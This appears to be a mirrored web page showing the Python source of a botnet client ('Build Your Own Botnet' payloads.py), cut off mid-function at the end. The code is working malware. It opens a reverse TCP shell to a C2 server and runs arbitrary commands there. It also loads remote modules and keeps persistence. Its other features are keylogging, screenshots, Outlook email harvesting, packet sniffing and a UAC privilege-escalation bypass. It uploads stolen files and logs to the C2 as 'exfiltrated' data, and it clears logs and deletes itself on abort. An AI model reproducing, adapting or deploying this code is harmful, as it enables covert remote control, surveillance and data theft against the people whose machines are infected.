Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
malwaredllc
GitHub Repository: malwaredllc/byob
Path: blob/master/web-gui/buildyourownbotnet/core/payloads.py
1292 views
1
#!/usr/bin/python
2
# -*- coding: utf-8 -*-
3
'Reverse TCP Shell Payload (Build Your Own Botnet)'
4
5
# standard library
6
import os
7
import sys
8
import time
9
import json
10
import errno
11
import base64
12
import ftplib
13
import struct
14
import socket
15
import signal
16
import logging
17
import functools
18
import threading
19
import subprocess
20
import collections
21
import multiprocessing
22
import logging.handlers
23
24
if sys.version_info[0] < 3:
25
from urllib import urlretrieve
26
from urllib2 import urlopen, urlparse
27
import StringIO
28
else:
29
from urllib import parse as urlparse
30
from urllib.request import urlopen, urlretrieve
31
from io import StringIO
32
33
# modules
34
try:
35
from util import *
36
from loader import *
37
from security import *
38
except ImportError:
39
pass
40
41
42
def log(info, level='debug'):
43
logging.basicConfig(level=logging.DEBUG, handlers=[logging.StreamHandler()])
44
logger = logging.getLogger(__name__)
45
getattr(logger, level)(str(info)) if hasattr(logger, level) else logger.debug(str(info))
46
47
48
def config(*arg, **options):
49
"""
50
Configuration decorator for adding attributes (e.g. declare platforms attribute with list of compatible platforms)
51
"""
52
def _config(function):
53
@functools.wraps(function)
54
def wrapper(*args, **kwargs):
55
return function(*args, **kwargs)
56
for k,v in options.items():
57
setattr(wrapper, k, v)
58
wrapper.platforms = ['win32','linux','linux2','darwin'] if not 'platforms' in options else options['platforms']
59
return wrapper
60
return _config
61
62
63
def threaded(function):
64
"""
65
Decorator for making a function threaded
66
67
`Required`
68
:param function: function/method to add a loading animation
69
70
"""
71
@functools.wraps(function)
72
def _threaded(*args, **kwargs):
73
t = threading.Thread(target=function, args=args, kwargs=kwargs, name=time.time())
74
t.daemon = True
75
t.start()
76
return t
77
return _threaded
78
79
# main
80
_abort = False
81
_debug = '--debug' in sys.argv
82
83
84
class Payload():
85
"""
86
Reverse TCP shell designed to provide remote access
87
to the host's terminal, enabling direct control of the
88
device from a remote server.
89
90
"""
91
92
def __init__(self, host='127.0.0.1', port=1337, **kwargs):
93
"""
94
Create a reverse TCP shell instance
95
96
`Required`
97
:param str host: server IP address
98
:param int port: server port number
99
100
"""
101
self.handlers = {}
102
self.child_procs = {}
103
self.remote = {'modules': [], 'packages': ['cv2','requests','pyHook','pyxhook','mss']}
104
self.gui = True if kwargs.get('gui') else False
105
self.owner = kwargs.get('owner')
106
self.flags = self._get_flags()
107
self.c2 = (host, port)
108
self.connection = self._get_connection(host, port)
109
self.key = self._get_key(self.connection)
110
self.info = self._get_info()
111
self.xmrig_path = None
112
self.xmrig_path_dev = None
113
114
115
def _get_flags(self):
116
return collections.namedtuple('flag', ('connection','passive','prompt'))(threading.Event(), threading.Event(), threading.Event())
117
118
119
def _get_command(self, cmd):
120
if bool(hasattr(self, cmd) and hasattr(getattr(self, cmd), 'command') and getattr(getattr(self, cmd),'command')):
121
return getattr(self, cmd)
122
return False
123
124
125
def _get_connection(self, host, port):
126
while True:
127
try:
128
connection = socket.create_connection((host, port))
129
break
130
except (socket.error, socket.timeout):
131
log("Unable to connect to server. Retrying in 30 seconds...")
132
time.sleep(30)
133
continue
134
except Exception as e:
135
log("{} error: {}".format(self._get_connection.__name__, str(e)))
136
sys.exit()
137
self.flags.connection.set()
138
self.flags.passive.clear()
139
return connection
140
141
142
def _get_key(self, connection):
143
if isinstance(connection, socket.socket):
144
if 'diffiehellman' in globals() and callable(globals()['diffiehellman']):
145
return globals()['diffiehellman'](connection)
146
else:
147
raise Exception("unable to complete session key exchange: missing required function 'diffiehellman'")
148
else:
149
raise TypeError("invalid object type for argument 'connection' (expected {}, received {})".format(socket.socket, type(connection)))
150
151
152
def _get_info(self):
153
info = {}
154
for function in ['public_ip', 'local_ip', 'platform', 'mac_address', 'architecture', 'username', 'administrator', 'device']:
155
try:
156
info[function] = globals()[function]()
157
if isinstance(info[function], bytes):
158
info[function] = "_b64__" + base64.b64encode(info[function]).decode('ascii')
159
except Exception as e:
160
log("{} returned error: {}".format(function, str(e)))
161
162
# add owner of session for web application
163
info['owner'] = "_b64__" + base64.b64encode(self.owner.encode('utf-8')).decode('ascii')
164
165
# add geolocation of host machine
166
latitude, longitude = globals()['geolocation']()
167
info['latitude'] = "_b64__" + base64.b64encode(latitude.encode('utf-8')).decode('ascii')
168
info['longitude'] = "_b64__" + base64.b64encode(longitude.encode('utf-8')).decode('ascii')
169
170
# encrypt and send data to server
171
data = globals()['encrypt_aes'](json.dumps(info), self.key)
172
msg = struct.pack('!L', len(data)) + data
173
self.connection.sendall(msg)
174
return info
175
176
177
@threaded
178
def _get_resources(self, target=None, base_url=None):
179
if sys.version_info[0] < 3:
180
from urllib import urlretrieve
181
from urllib2 import urlopen, urlparse
182
import StringIO
183
else:
184
from urllib import parse as urlparse
185
from urllib.request import urlopen, urlretrieve
186
from io import StringIO
187
try:
188
if not isinstance(target, list):
189
raise TypeError("keyword argument 'target' must be type 'list'")
190
if not isinstance(base_url, str):
191
raise TypeError("keyword argument 'base_url' must be type 'str'")
192
if not base_url.startswith('http'):
193
raise ValueError("keyword argument 'base_url' must start with http:// or https://")
194
log('[*] Searching %s' % base_url)
195
path = urlparse.urlsplit(base_url).path
196
base = path.strip('/').replace('/','.')
197
names = []
198
for line in urlopen(base_url).read().splitlines():
199
line = str(line)
200
if 'href' in line and '</a>' in line and '__init__.py' not in line:
201
names.append(line.rpartition('</a>')[0].rpartition('>')[2].strip('/'))
202
for n in names:
203
name, ext = os.path.splitext(n)
204
if ext in ('.py','.pyc'):
205
module = '.'.join((base, name)) if base else name
206
if module not in target:
207
log("[+] Adding %s" % module)
208
target.append(module)
209
elif not len(ext):
210
t = threading.Thread(target=self._get_resources, kwargs={'target': target, 'base_url': '/'.join((base_url, n))})
211
t.daemon = True
212
t.start()
213
else:
214
resource = '/'.join((path, n))
215
if resource not in target:
216
target.append(resource)
217
except Exception as e:
218
log("{} error: {}".format(self._get_resources.__name__, str(e)))
219
220
221
@threaded
222
def _get_prompt_handler(self):
223
self.send_task({"session": self.info.get('uid'), "task": "prompt", "result": "[ %d @ {} ]> ".format(os.getcwd())})
224
while True:
225
try:
226
self.flags.prompt.wait()
227
self.send_task({"session": self.info.get('uid'), "task": "prompt", "result": "[ %d @ {} ]> ".format(os.getcwd())})
228
self.flags.prompt.clear()
229
if globals()['_abort']:
230
break
231
except Exception as e:
232
log(str(e))
233
break
234
235
236
@threaded
237
def _get_thread_handler(self):
238
while True:
239
jobs = self.handlers.items()
240
deadpool = []
241
for task, worker in jobs:
242
if worker:
243
try:
244
if not worker.is_alive():
245
deadpool.append(task)
246
except Exception as e:
247
log(str(e))
248
for task in deadpool:
249
dead = self.handlers.pop(task, None)
250
del dead
251
if globals()['_abort']:
252
break
253
time.sleep(0.5)
254
255
@config(platforms=['win32','linux','linux2','darwin'], command=True, usage='cd <path>')
256
def cd(self, path='.'):
257
"""
258
Change current working directory
259
260
`Optional`
261
:param str path: target directory (default: current directory)
262
263
"""
264
try:
265
os.chdir(path)
266
return os.getcwd()
267
except:
268
return "{}: No such file or directory".format(path)
269
270
271
@config(platforms=['win32','linux','linux2','darwin'], command=True, usage='ls <path>')
272
def ls(self, path='.'):
273
"""
274
List the contents of a directory
275
276
`Optional`
277
:param str path: target directory
278
279
"""
280
output = []
281
if os.path.isdir(path):
282
for line in os.listdir(path):
283
if len('\n'.join(output + [line])) < 2048:
284
output.append(line)
285
else:
286
break
287
return '\n'.join(output)
288
else:
289
return "Error: path not found"
290
291
292
@config(platforms=['win32','linux','linux2','darwin'], command=True, usage='cat <path>')
293
def cat(self, path):
294
"""
295
Display file contents
296
297
`Required`
298
:param str path: target filename
299
300
"""
301
output = []
302
if not os.path.isfile(path):
303
return "Error: file not found"
304
for line in open(path, 'rb').read().splitlines():
305
if len(line) and not line.isspace():
306
if len('\n'.join(output + [line])) < 48000:
307
output.append(line)
308
else:
309
break
310
return b'\n'.join(output).decode(errors="ignore")
311
312
313
@config(platforms=['win32','linux','linux2','darwin'], command=True, usage='pwd')
314
def pwd(self, *args):
315
"""
316
Show name of present working directory
317
318
"""
319
return os.getcwd()
320
321
322
@config(platforms=['win32','linux','linux2','darwin'], command=True, usage='eval <code>')
323
def eval(self, code):
324
"""
325
Execute Python code in current context
326
327
`Required`
328
:param str code: string of Python code to execute
329
330
"""
331
try:
332
return eval(code)
333
except Exception as e:
334
return "{} error: {}".format(self.eval.__name__, str(e))
335
336
337
@config(platforms=['win32','linux','linux2','darwin'], command=True, usage='wget <url>')
338
def wget(self, url, filename=None):
339
"""
340
Download file from URL
341
342
`Required`
343
:param str url: target URL to download ('http://...')
344
345
`Optional`
346
:param str filename: name of the file to save the file as
347
348
"""
349
if sys.version_info[0] < 3:
350
from urllib import urlretrieve
351
from urllib2 import urlopen, urlparse
352
import StringIO
353
else:
354
from urllib import parse as urlparse
355
from urllib.request import urlopen, urlretrieve
356
if url.startswith('http'):
357
try:
358
path, _ = urlretrieve(url, filename) if filename else urlretrieve(url)
359
return path
360
except Exception as e:
361
log("{} error: {}".format(self.wget.__name__, str(e)))
362
else:
363
return "Invalid target URL - must begin with 'http'"
364
365
366
@config(platforms=['win32','linux','linux2','darwin'], command=True, usage='kill')
367
def kill(self):
368
"""
369
Shutdown the current connection
370
371
"""
372
try:
373
self.flags.connection.clear()
374
self.flags.passive.clear()
375
self.flags.prompt.clear()
376
self.connection.close()
377
378
# kill threads
379
for thread in list(self.handlers):
380
try:
381
self.stop(thread)
382
except Exception as e:
383
log("{} error: {}".format(self.kill.__name__, str(e)))
384
385
# kill sub processes (subprocess.Popen)
386
for proc in self.execute.process_list.values():
387
try:
388
proc.kill()
389
except: pass
390
391
# kill child processes (multiprocessing.Process)
392
for child_proc in self.child_procs.values():
393
try:
394
child_proc.terminate()
395
except: pass
396
except Exception as e:
397
log("{} error: {}".format(self.kill.__name__, str(e)))
398
399
400
@config(platforms=['win32','linux','linux2','darwin'], command=True, usage='help [cmd]')
401
def help(self, name=None):
402
"""
403
Show usage help for commands and modules
404
405
`Optional`
406
:param str command: name of a command or module
407
408
"""
409
if not name:
410
try:
411
return json.dumps({v.usage: v.__doc__.strip('\n').splitlines()[0].lower() for k,v in vars(Payload).items() if callable(v) if hasattr(v, 'command') if getattr(v, 'command')})
412
except Exception as e:
413
log("{} error: {}".format(self.help.__name__, str(e)))
414
elif hasattr(Payload, name) and hasattr(getattr(Payload, name), 'command'):
415
try:
416
return json.dumps({getattr(Payload, name).usage: getattr(Payload, name).__doc__})
417
except Exception as e:
418
log("{} error: {}".format(self.help.__name__, str(e)))
419
else:
420
return "'{}' is not a valid command and is not a valid module".format(name)
421
422
423
@config(platforms=['win32','linux','linux2','darwin'], command=True, usage='load <module> [target]')
424
def load(self, args):
425
"""
426
Remotely import a module or package
427
428
`Required`
429
:param str module: name of module/package
430
431
`Optional`
432
:param str target: name of the target destination (default: globals)
433
434
"""
435
args = str(args).split()
436
if len(args) == 1:
437
module, target = args[0], ''
438
elif len(args) == 2:
439
module, target = args
440
else:
441
return "usage: {}".format(self.load.usage)
442
target = globals()[target].__dict__ if bool(target in globals() and hasattr(target, '__dict__')) else globals()
443
host, port = self.connection.getpeername()
444
base_url_1 = 'http://{}:{}'.format(host, port + 1)
445
base_url_2 = 'http://{}:{}'.format(host, port + 2)
446
with globals()['remote_repo'](self.remote['packages'], base_url_2):
447
with globals()['remote_repo'](self.remote['modules'], base_url_1):
448
try:
449
exec('import {}'.format(module), target)
450
log('[+] {} remotely imported'.format(module))
451
return '[+] {} remotely imported'.format(module)
452
except Exception as e:
453
log("{} error: {}".format(self.load.__name__, str(e)))
454
return "{} error: {}".format(self.load.__name__, str(e))
455
456
457
@config(platforms=['win32','linux','linux2','darwin'], command=True, usage='stop <job>')
458
def stop(self, target):
459
"""
460
Stop a running job
461
462
`Required`
463
:param str target: name of job to stop
464
"""
465
try:
466
if target in self.handlers:
467
_ = self.handlers.pop(target, None)
468
del _
469
return "Job '{}' was stopped.".format(target)
470
else:
471
return "Job '{}' not found".format(target)
472
except Exception as e:
473
log("{} error: {}".format(self.stop.__name__, str(e)))
474
475
476
@config(platforms=['win32','linux','linux2','darwin'], command=True, usage='show <value>')
477
def show(self, attribute):
478
"""
479
Show value of an attribute
480
481
`Required`
482
:param str attribute: payload attribute to show
483
484
Returns attribute(s) as a dictionary (JSON) object
485
486
"""
487
try:
488
attribute = str(attribute)
489
if 'jobs' in attribute:
490
return json.dumps({a: status(self.handlers[a].name) for a in self.handlers if self.handlers[a].is_alive()})
491
elif 'info' in attribute:
492
return json.dumps(self.info)
493
elif hasattr(self, attribute):
494
try:
495
return json.dumps(getattr(self, attribute))
496
except:
497
try:
498
return json.dumps(vars(getattr(self, attribute)))
499
except: pass
500
elif hasattr(self, str('_%s' % attribute)):
501
try:
502
return json.dumps(getattr(self, str('_%s' % attribute)))
503
except:
504
try:
505
return json.dumps(vars(getattr(self, str('_%s' % attribute))))
506
except: pass
507
else:
508
return self.show.usage
509
except Exception as e:
510
log("'{}' error: {}".format(self.show.__name__, str(e)))
511
512
513
@config(platforms=['win32','linux','linux2','darwin'], command=True, usage='abort')
514
def abort(self, *args):
515
"""
516
Abort execution and self-destruct
517
518
"""
519
globals()['_abort'] = True
520
try:
521
if os.name == 'nt':
522
clear_system_logs()
523
if 'persistence' in globals():
524
global persistence
525
for method in persistence.methods:
526
if persistence.methods[method].get('established'):
527
try:
528
remove = getattr(persistence, 'remove_{}'.format(method))()
529
except Exception as e2:
530
log("{} error: {}".format(method, str(e2)))
531
if not _debug:
532
delete(sys.argv[0])
533
finally:
534
shutdown = threading.Thread(target=self.connection.close)
535
taskkill = threading.Thread(target=self.process, args=('kill python',))
536
shutdown.start()
537
taskkill.start()
538
sys.exit()
539
540
541
@config(platforms=['darwin'], command=True, usage='icloud')
542
def icloud(self):
543
"""
544
Check for logged in iCloud account on macOS
545
546
"""
547
if 'icloud' not in globals():
548
self.load('icloud')
549
return globals()['icloud'].run()
550
551
552
@config(platforms=['win32','linux','linux2','darwin'], command=True, usage='upload [file]')
553
def upload(self, filename):
554
"""
555
Upload file from client machine to the C2 server
556
557
`Required`
558
:param str source: filename
559
560
"""
561
try:
562
if os.path.isfile(filename):
563
host, port = self.connection.getpeername()
564
_, filetype = os.path.splitext(filename)
565
with open(filename, 'rb') as fp:
566
data = base64.b64encode(fp.read())
567
json_data = {'data': str(data), 'filename': filename, 'type': filetype, 'owner': self.owner, "module": self.upload.__name__, "session": self.info.get('public_ip')}
568
569
# upload data to server
570
if self.gui:
571
globals()['post']('http://{}:5000/api/file/add'.format(host), data=json_data)
572
else:
573
globals()['post']('http://{}:{}'.format(host, port+3), json=json_data)
574
return "Upload complete (see Exfiltrated Files tab to download file)"
575
else:
576
return "Error: file not found"
577
except Exception as e:
578
log("{} error: {}".format(self.upload.__name__, str(e)))
579
return "Error: {}".format(str(e))
580
581
582
@config(platforms=['win32','linux','linux2','darwin'], command=True, usage='passive')
583
def passive(self):
584
"""
585
Keep client alive while waiting to re-connect
586
587
"""
588
log("{} : Bot entering passive mode awaiting C2.".format(self.passive.__name__))
589
self.flags.connection.clear()
590
self.flags.passive.set()
591
592
593
@config(platforms=['win32','linux','linux2','darwin'], command=True, usage='restart [output]')
594
def restart(self, output='connection'):
595
"""
596
Restart the shell
597
598
"""
599
try:
600
log("{} failed - restarting in 3 seconds...".format(output))
601
self.kill()
602
time.sleep(3)
603
os.execl(sys.executable, 'python', os.path.abspath(sys.argv[0]), *sys.argv[1:])
604
except Exception as e:
605
log("{} error: {}".format(self.restart.__name__, str(e)))
606
607
608
@config(platforms=['win32','darwin'], command=True, usage='outlook <option> [mode]')
609
def outlook(self, args=None):
610
"""
611
Access Outlook email in the background
612
613
`Required`
614
:param str mode: installed, run, count, search, upload
615
616
"""
617
if 'outlook' not in globals():
618
self.load('outlook')
619
elif not args:
620
try:
621
if not globals()['outlook'].installed():
622
return "Error: Outlook not installed on this host"
623
else:
624
return "Outlook is installed on this host"
625
except: pass
626
else:
627
try:
628
mode, _, arg = str(args).partition(' ')
629
if hasattr(globals()['outlook'], mode):
630
631
if 'run' in mode:
632
self.handlers['outlook'] = globals()['outlook'].run()
633
return "Fetching emails from Outlook inbox..."
634
635
elif 'upload' in mode:
636
results = globals()['outlook'].results
637
if len(results):
638
host, port = self.connection.getpeername()
639
data = base64.b64encode(json.dumps(results))
640
json_data = {'data': str(data), 'type': 'txt', 'owner': self.owner, "module": self.outlook.__name__, "session": self.info.get('public_ip')}
641
642
# upload data to server
643
if self.gui:
644
globals()['post']('http://{}:5000/api/file/add'.format(host), data=json_data)
645
else:
646
globals()['post']('http://{}:{}'.format(host, port+3), json=json_data)
647
return "Upload of Outlook emails complete (see Exfiltrated Files tab to download files)"
648
elif hasattr(globals()['outlook'], mode):
649
return getattr(globals()['outlook'], mode)()
650
else:
651
return "Error: invalid mode '%s'" % mode
652
else:
653
return self.outlook.usage
654
except Exception as e:
655
log("{} error: {}".format(self.email.__name__, str(e)))
656
657
658
@config(platforms=['win32'], command=True, usage='escalate')
659
def escalate(self):
660
"""
661
Attempt UAC bypass to escalate privileges
662
663
"""
664
try:
665
if 'escalate' not in globals():
666
self.load('escalate')
667
return globals()['escalate'].run(sys.argv[0])
668
except Exception as e:
669
log("{} error: {}".format(self.escalate.__name__, str(e)))
670
671
672
@config(platforms=['win32','linux','linux2','darwin'], process_list={}, command=True, usage='execute <path> [args]')
673
def execute(self, args):
674
"""
675
Run an executable program in a hidden process
676
677
`Required`
678
:param str path: file path of the target program
679
680
`Optional`
681
:param str args: arguments for the target program
682
683
"""
684
log(args)
685
path, args = [i.strip() for i in args.split('"') if i if not i.isspace()] if args.count('"') == 2 else [i for i in args.partition(' ') if i if not i.isspace()]
686
args = [path] + args.split()
687
if os.path.isfile(path):
688
name = os.path.splitext(os.path.basename(path))[0]
689
try:
690
# attempt to run hidden process
691
info = subprocess.STARTUPINFO()
692
info.dwFlags = subprocess.STARTF_USESHOWWINDOW , subprocess.CREATE_NEW_ps_GROUP
693
info.wShowWindow = subprocess.SW_HIDE
694
self.execute.process_list[name] = subprocess.Popen(args, startupinfo=info)
695
return "Running '{}' in a hidden process".format(path)
696
except Exception as e:
697
# revert to normal process if hidden process fails
698
try:
699
self.execute.process_list[name] = subprocess.Popen(args, 0, None, None, subprocess.PIPE, subprocess.PIPE)
700
return "Running '{}' in a new process".format(name)
701
except Exception as e:
702
log("{} error: {}".format(self.execute.__name__, str(e)))
703
return "{} error: {}".format(self.execute.__name__, str(e))
704
else:
705
return "File '{}' not found".format(str(path))
706
707
708
@config(platforms=['win32'], command=True, usage='process <mode>')
709
def process(self, args=None):
710
"""
711
Utility method for interacting with processes
712
713
`Required`
714
:param str mode: block, list, monitor, kill, search, upload
715
716
`Optional`
717
:param str args: arguments specific to the mode
718
719
"""
720
try:
721
if 'process' not in globals():
722
self.load('process')
723
if args:
724
cmd, _, action = str(args).partition(' ')
725
if 'monitor' in cmd:
726
self.handlers['process_monitor'] = globals()['process'].monitor(action)
727
return "Monitoring process creation for keyword: {}".format(action)
728
elif 'upload' in cmd:
729
log = globals()['process'].log.getvalue()
730
if len(log):
731
host, port = self.connection.getpeername()
732
data = base64.b64encode(log)
733
json_data = {'data': str(data), 'type': 'log', 'owner': self.owner, "module": self.process.__name__, "session": self.info.get('public_ip')}
734
735
# upload data to server
736
if self.gui:
737
globals()['post']('http://{}:5000/api/file/add'.format(host), data=json_data)
738
else:
739
globals()['post']('http://{}:{}'.format(host, port+3), json=json_data)
740
return "Process log upload complete (see Exfiltrated Files tab to download file)"
741
else:
742
return "Process log is empty"
743
elif hasattr(globals()['process'], cmd):
744
return getattr(globals()['process'], cmd)(action) if action else getattr(globals()['process'], cmd)()
745
return "usage: process <mode>\n mode: block, list, search, kill, monitor"
746
except Exception as e:
747
log("{} error: {}".format(self.process.__name__, str(e)))
748
749
750
@config(platforms=['win32','linux','linux2','darwin'], command=True, usage='portscanner <target>')
751
def portscanner(self, target=None):
752
"""
753
Scan a target host or network to identify
754
other target hosts and open ports.
755
756
`Required`
757
:param str target: IPv4 address
758
759
"""
760
if 'portscanner' not in globals():
761
self.load('portscanner')
762
try:
763
if target:
764
if not ipv4(target):
765
return "Error: invalid IP address '%s'" % target
766
return globals()['portscanner'].run(target)
767
else:
768
return self.portscanner.usage
769
except Exception as e:
770
log("{} error: {}".format(self.portscanner.__name__, str(e)))
771
772
773
@config(platforms=['win32','linux','linux2','darwin'], command=True, usage='keylogger [mode]')
774
def keylogger(self, mode=None):
775
"""
776
Log user keystrokes
777
778
`Required`
779
:param str mode: run, stop, status, upload
780
781
"""
782
def status():
783
try:
784
length = globals()['keylogger'].logs.tell()
785
return "Log size: {} bytes".format(length)
786
except Exception as e:
787
log("{} error: {}".format('keylogger.status', str(e)))
788
if 'keylogger' not in globals():
789
self.load('keylogger')
790
if not mode:
791
if 'keylogger' not in self.handlers:
792
return globals()['keylogger'].usage
793
else:
794
return locals()['status']()
795
else:
796
if 'run' in mode or 'start' in mode:
797
if 'keylogger' not in self.handlers:
798
self.handlers['keylogger'] = globals()['keylogger'].run()
799
return locals()['status']()
800
else:
801
return locals()['status']()
802
elif 'stop' in mode:
803
try:
804
self.stop('keylogger')
805
except: pass
806
try:
807
self.stop('keylogger')
808
except: pass
809
return locals()['status']()
810
elif 'upload' in mode:
811
host, port = self.connection.getpeername()
812
data = base64.b64encode(globals()['keylogger'].logs.getvalue())
813
json_data = {'data': str(data), 'owner': self.owner, 'type': 'txt', "module": self.keylogger.__name__, "session": self.info.get('public_ip')}
814
815
# upload data to server
816
if self.gui:
817
globals()['post']('http://{}:5000/api/file/add'.format(host), data=json_data)
818
else:
819
globals()['post']('http://{}:{}'.format(host, port+3), json=json_data)
820
821
globals()['keylogger'].logs.reset()
822
return 'Keystroke log upload complete (see Exfiltrated Files tab to download file)'
823
elif 'status' in mode:
824
return locals()['status']()
825
else:
826
return self.keylogger.usage
827
828
829
@config(platforms=['win32','linux','linux2','darwin'], command=True, usage='screenshot')
830
def screenshot(self, mode=None):
831
"""
832
Capture a screenshot from host device
833
834
`Optional`
835
:param str mode: ftp, imgur (default: None)
836
837
"""
838
try:
839
if 'screenshot' not in globals():
840
self.load('screenshot')
841
host, port = self.connection.getpeername()
842
data = globals()['screenshot'].run()
843
json_data = {"data": str(data), "owner": self.owner, "type": "png", "module": self.screenshot.__name__, "session": self.info.get('public_ip')}
844
if self.gui:
845
globals()['post']('http://{}:5000/api/file/add'.format(host), data=json_data)
846
else:
847
globals()['post']('http://{}:{}'.format(host, port+3), json=json_data)
848
return 'Screenshot complete (see Exfiltrated Files tab to download file)'
849
except Exception as e:
850
result = "{} error: {}".format(self.screenshot.__name__, str(e))
851
log(result)
852
return result
853
854
855
@config(platforms=['win32','linux','linux2','darwin'], command=True, usage='persistence <add/remove> [method]')
856
def persistence(self, args=None):
857
"""
858
Establish persistence on client host machine
859
860
`Required`
861
:param str target: add, remove. methods, results
862
863
`Methods`
864
:method all: All Methods
865
:method registry_key: Windows Registry Key
866
:method scheduled_task: Windows Task Scheduler
867
:method startup_file: Windows Startup File
868
:method launch_agent: Mac OS X Launch Agent
869
:method crontab_job: Linux Crontab Job
870
:method hidden_file: Hidden File
871
872
"""
873
try:
874
if not 'persistence' in globals():
875
self.load('persistence')
876
cmd, _, action = str(args).partition(' ')
877
if cmd not in ('add','remove'):
878
return self.persistence.usage
879
for method in globals()['persistence']._methods:
880
if action == 'all' or action == method:
881
try:
882
getattr(globals()['persistence']._methods[method], cmd)()
883
except Exception as e:
884
log("{} error: {}".format(self.persistence.__name__, str(e)))
885
return json.dumps(globals()['persistence'].results())
886
except Exception as e:
887
log("{} error: {}".format(self.persistence.__name__, str(e)))
888
889
890
@config(platforms=['linux','linux2','darwin'], capture=[], command=True, usage='packetsniffer [mode]')
891
def packetsniffer(self, args):
892
"""
893
Capture traffic on local network
894
895
`Required`
896
:param str args: run, stop, upload
897
898
"""
899
try:
900
if 'packetsniffer' not in globals():
901
self.load('packetsniffer')
902
args = str(args).split()
903
if len(args):
904
mode = args[0]
905
if 'run' in mode:
906
globals()['packetsniffer'].flag.set()
907
self.handlers['packetsniffer'] = globals()['packetsniffer'].run()
908
return "Network traffic capture started"
909
elif 'stop' in mode:
910
globals()['packetsniffer'].flag.clear()
911
return "Network traffic captured stopped"
912
elif 'upload' in mode:
913
log = globals()['packetsniffer'].log.getvalue()
914
if len(log):
915
globals()['packetsniffer'].log.reset()
916
host, port = self.connection.getpeername()
917
data = base64.b64encode(log)
918
json_data = {"data": str(data), "type": "pcap", "owner": self.owner, "module": self.packetsniffer.__name__, "session": self.info.get('public_ip')}
919
920
# upload data to server
921
if self.gui:
922
globals()['post']('http://{}:5000/api/file/add'.format(host), data=json_data)
923
else:
924
globals()['post']('http://{}:{}'.format(host, port+3), json=json_data)
925
return "Network traffic log upload complete (see Exfiltrated Files tab to download file)"
926
else:
927
return "Network traffic log is empty"
928
else:
929
return self.packetsniffer.usage
930
except Exception as e:
931
log("{} error: {}".format(self.packetsniffer.__name__, str(e)))
932
933
def send_task(self, task):
934
"""
935
Send task results to the server
936
937
`Task`
938
:attr str uid: task ID assigned by server
939
:attr str task: task assigned by server
940
:attr str result: task result completed by client
941
:attr str session: session ID assigned by server
942
:attr datetime issued: time task was issued by server
943
:attr datetime completed: time task was completed by client
944
945
Returns True if succesfully sent task to server, otherwise False
946
947
"""
948
try:
949
if not 'session' in task:
950
task['session'] = self.info.get('uid')
951
if self.flags.connection.wait(timeout=1.0):
952
data = globals()['encrypt_aes'](json.dumps(task), self.key)
953
msg = struct.pack('!L', len(data)) + data
954
self.connection.sendall(msg)
955
return True
956
return False
957
except Exception as e:
958
e = str(e)
959
if "Errno 104" in e or "10054" in e:
960
log("{} socket error: SERVER DISCONNECTED GRACEFULLY - {}".format(self.send_task.__name__, e))
961
self.kill()
962
return
963
elif "Errno 32" in e or "10052" in e:
964
log("{} socket error: SERVER CRASHED OR INTERRUPTED - {}".format(self.send_task.__name__, e))
965
elif "Errno 111" in e or "10061" in e:
966
log("{} socket error: SERVER OFFLINE OR CHANGED PORT - {}".format(self.send_task.__name__, e))
967
else:
968
log("{} socket error: SERVER UNKNOWN COMMUNICATION FAILURE - {}".format(self.send_task.__name__, e))
969
self.passive()
970
#log("{} error: {}".format(self.send_task.__name__, str(e)))
971
972
973
def recv_task(self):
974
"""
975
Receive and decrypt incoming task from server
976
977
`Task`
978
:attr str uid: task ID assigned by server
979
:attr str session: client ID assigned by server
980
:attr str task: task assigned by server
981
:attr str result: task result completed by client
982
:attr datetime issued: time task was issued by server
983
:attr datetime completed: time task was completed by client
984
985
"""
986
try:
987
hdr_len = struct.calcsize('!L')
988
hdr = self.connection.recv(hdr_len)
989
if len(hdr) == 4:
990
msg_len = struct.unpack('!L', hdr)[0]
991
msg = self.connection.recv(msg_len)
992
data = globals()['decrypt_aes'](msg, self.key)
993
return json.loads(data)
994
else:
995
log("{} error: invalid header length".format(self.recv_task.__name__))
996
log("Restarting client...")
997
if not self.connection.recv(hdr_len):
998
self.restart()
999
except Exception as e:
1000
e = str(e)
1001
if "Errno 104" in e or "10054" in e:
1002
log("{} socket error: SERVER DISCONNECTED GRACEFULLY - {}".format(self.recv_task.__name__, e))
1003
self.kill()
1004
return
1005
elif "Errno 32" in e or "10052" in e:
1006
log("{} socket error: SERVER CRASHED OR INTERRUPTED - {}".format(self.recv_task.__name__, e))
1007
elif "Errno 111" in e or "10061" in e:
1008
log("{} socket error: SERVER OFFLINE OR CHANGED PORT - {}".format(self.recv_task.__name__, e))
1009
else:
1010
log("{} socket error: SERVER UNKNOWN COMMUNICATION FAILURE - {}".format(self.recv_task.__name__, e))
1011
self.passive()
1012
#log("{} error: {}".format(self.recv_task.__name__, str(e)))
1013
1014
1015
def run(self):
1016
"""
1017
Initialize a reverse TCP shell
1018
"""
1019
host, port = self.connection.getpeername()
1020
1021
# run 2 threads which remotely load packages/modules from c2 server
1022
self.handlers['module_handler'] = self._get_resources(target=self.remote['modules'], base_url='http://{}:{}'.format(host, port + 1))
1023
self.handlers['package_handler'] = self._get_resources(target=self.remote['packages'], base_url='http://{}:{}'.format(host, port + 2))
1024
1025
# create thread handlers to cleanup dead/stale threads
1026
self.handlers['prompt_handler'] = self._get_prompt_handler() if not self.gui else None
1027
self.handlers['thread_handler'] = self._get_thread_handler()
1028
1029
# loop listening for tasks from server and sending responses.
1030
# if connection is dropped, enter passive mode and retry connection every 30 seconds.
1031
while True:
1032
1033
# leave passive mode when connection re-established
1034
if self.flags.passive.is_set() and not self.flags.connection.is_set():
1035
host, port = self.c2
1036
self.connection = self._get_connection(host, port)
1037
self.key = self._get_key(self.connection)
1038
self.info = self._get_info()
1039
log("{} : leaving passive mode.".format(self.run.__name__))
1040
self.flags.prompt.set()
1041
1042
# active mode
1043
elif self.flags.connection.wait(timeout=1.0):
1044
if self.gui or not self.flags.prompt.is_set():
1045
task = self.recv_task()
1046
if isinstance(task, dict) and 'task' in task:
1047
cmd, _, action = task['task'].partition(' ')
1048
try:
1049
1050
# run command as module if module exists.
1051
# otherwise, run as shell command in subprocess
1052
command = self._get_command(cmd)
1053
if command:
1054
result = command(action) if action else command()
1055
else:
1056
result, reserr = subprocess.Popen(task['task'].encode(), 0, None, subprocess.PIPE, subprocess.PIPE, subprocess.PIPE, shell=True).communicate()
1057
if result == None:
1058
result = reserr
1059
1060
# format result
1061
if result != None:
1062
if type(result) in (list, tuple):
1063
result = '\n'.join(result)
1064
elif type(result) == bytes:
1065
result = str(result.decode())
1066
else:
1067
result = str(result)
1068
except Exception as e:
1069
